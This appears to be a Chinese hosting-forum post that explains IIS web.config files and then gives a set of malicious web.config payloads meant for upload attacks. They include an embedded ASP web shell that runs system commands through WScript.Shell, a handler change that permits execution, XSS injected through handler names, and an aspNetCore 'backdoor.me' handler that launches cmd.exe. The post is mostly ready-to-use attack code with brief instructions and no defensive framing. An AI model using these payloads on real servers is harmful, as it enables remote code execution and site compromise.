亲注册登录道勤网-可以查看更多帖子内容哦!(包涵精彩图片、文字详情等)请您及时注册登录-www.daoqin.net
您需要 登录 才可以下载或查看,没有账号?立即注册
x
什么是web.config文件呢?
Web.config文件是一个XML文本文件,它用来储存ASP.NETWeb 应用程序的配置信息(如最常用的设置ASP.NETWeb 应用程序的身份验证方式),它可以出现在应用程序的每一个目录中。当你通过.NET新建一个Web应用程序后,默认情况下会在根目录自动创建一个默认的Web.config文件,包括默认的配置设置,所有的子目录都继承它的配置设置。如果你想修改子目录的配置设置,你可以在该子目录下新建一个Web.config文件,它可以提供除从父目录继承的配置信息以外的配置信息,也可以重写或修改父目录中定义的设置。web.config文件放置在要目录下则会对整个网站产生影响,如果放置在其它目录之下,则只会对当前目录产生影响。
1.代码执行
- <?xml version="1.0" encoding="UTF-8"?>
- <configuration>
- <system.webServer>
- <handlers accessPolicy="Read, Script, Write">
- <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
- </handlers>
- <security>
- <requestFiltering>
- <fileExtensions>
- <remove fileExtension=".config" />
- </fileExtensions>
- <hiddenSegments>
- <remove segment="web.config" />
- </hiddenSegments>
- </requestFiltering>
- </security>
- </system.webServer>
- <appSettings>
- </appSettings>
- </configuration>
- <!–-
- <% Response.write("-"&"->")
- Response.write("<pre>")
- Set wShell1 = CreateObject("WScript.Shell")
- Set cmd1 = wShell1.Exec("whoami")
- output1 = cmd1.StdOut.Readall()
- set cmd1 = nothing: Set wShell1 = nothing
- Response.write(output1)
- Response.write("</pre><!-"&"-") %>
- -–>
复制代码 在web.config中添加了一个可读可写权限的处理句柄程序,然后我们在<% %>之内写入了服务器端命令执行代码。当把这个web.config文件上传成功之后,浏览访问它,就会执行系统命令whoami命令
2.绕过执行限制
- <?xml version="1.0" encoding="utf-8"?>
- <configuration>
- <system.webServer>
- <handlers accessPolicy="Read, Write, Execute, Script" />
- </system.webServer>
- </configuration>
复制代码 3.XSSiis6及以下版本不支持 - <?xml version="1.0" encoding="UTF-8"?>
- <configuration>
- <system.webServer>
- <handlers>
- <!-- XSS by using *.config -->
- <add name="web_config_xss<script>alert('xss1')</script>" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="fooo" resourceType="Unspecified" requireAccess="None" preCondition="bitness64" />
- <!-- XSS by using *.test -->
- <add name="test_xss<script>alert('xss2')</script>" path="*.test" verb="*" />
- </handlers>
- <security>
- <requestFiltering>
- <fileExtensions>
- <remove fileExtension=".config" />
- </fileExtensions>
- <hiddenSegments>
- <remove segment="web.config" />
- </hiddenSegments>
- </requestFiltering>
- </security>
- <httpErrors existingResponse="Replace" errorMode="Detailed" />
- </system.webServer>
- </configuration>
复制代码访问 web.config 就会弹窗 4.重定向版本 < iis7 - <?xml version="1.0" encoding="UTF-8"?>
- <configuration>
- <system.webServer>
- <httpRedirect enabled="true" destination="https://www.baidu.com/" />
- </system.webServer>
- </configuration>
复制代码版本 >= iis7 - <?xml version="1.0" encoding="UTF-8"?>
- <configuration>
- <system.webServer>
- <rewrite>
- <rules>
- <rule name="AddTrailingSlashRule1" stopProcessing="true">
- <match url="(.*[^/])$" />
- <conditions>
- <add input="{REQUEST_FILENAME}" matchType="IsDirectory" negate="true" />
- <add input="{REQUEST_FILENAME}" matchType="IsFile" negate="true" />
- </conditions>
- <action type="Redirect" url="{R:1}/" />
- </rule>
- </rules>
- </rewrite>
- </system.webServer>
- </configuration>
复制代码 5.RCE
- <?xml version="1.0" encoding="utf-8"?>
- <configuration>
- <system.webServer>
- <handlers>
- <remove name="aspNetCore" />
- <add name="aspNetCore" path="backdoor.me" verb="*" modules="AspNetCoreModule" resourceType="Unspecified" />
- </handlers>
- <aspNetCore processPath="cmd.exe" arguments="/c calc"/>
- </system.webServer>
- </configuration>
复制代码通过去访问服务器上的backdoor.me进行触发 6.运行asp代码
- <?xml version="1.0" encoding="UTF-8"?>
- <configuration>
- <system.webServer>
- <handlers accessPolicy="Read, Script, Write">
- <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
- </handlers>
- <security>
- <requestFiltering>
- <fileExtensions>
- <remove fileExtension=".config" />
- </fileExtensions>
- <hiddenSegments>
- <remove segment="web.config" />
- </hiddenSegments>
- </requestFiltering>
- </security>
- </system.webServer>
- </configuration>
- <%
- Response.write("-"&"->")
- 'it is running the ASP code if you can see 3 by opening the web.config file!'
- Response.write(1+2)
- Response.write("<!-"&"-")
- %>
复制代码
道勤主机提供365天*24小时全年全天无休、实时在线、零等待的售后技术支持。竭力为您免费处理您在使用道勤主机过程中所遇到的一切问题!
如果您是道勤主机用户,那么您可以通过QQ【792472177】、售后QQ【59133755】、旺旺【诠释意念】、微信:q792472177免费电话、后台提交工单这些方式联系道勤主机客服!
如果您不是我们的客户也没问题,点击页面最右边的企业QQ在线咨询图标联系我们并购买后,我们为您免费进行无缝搬家服务,让您享受网站零访问延迟的迁移到道勤主机的服务! |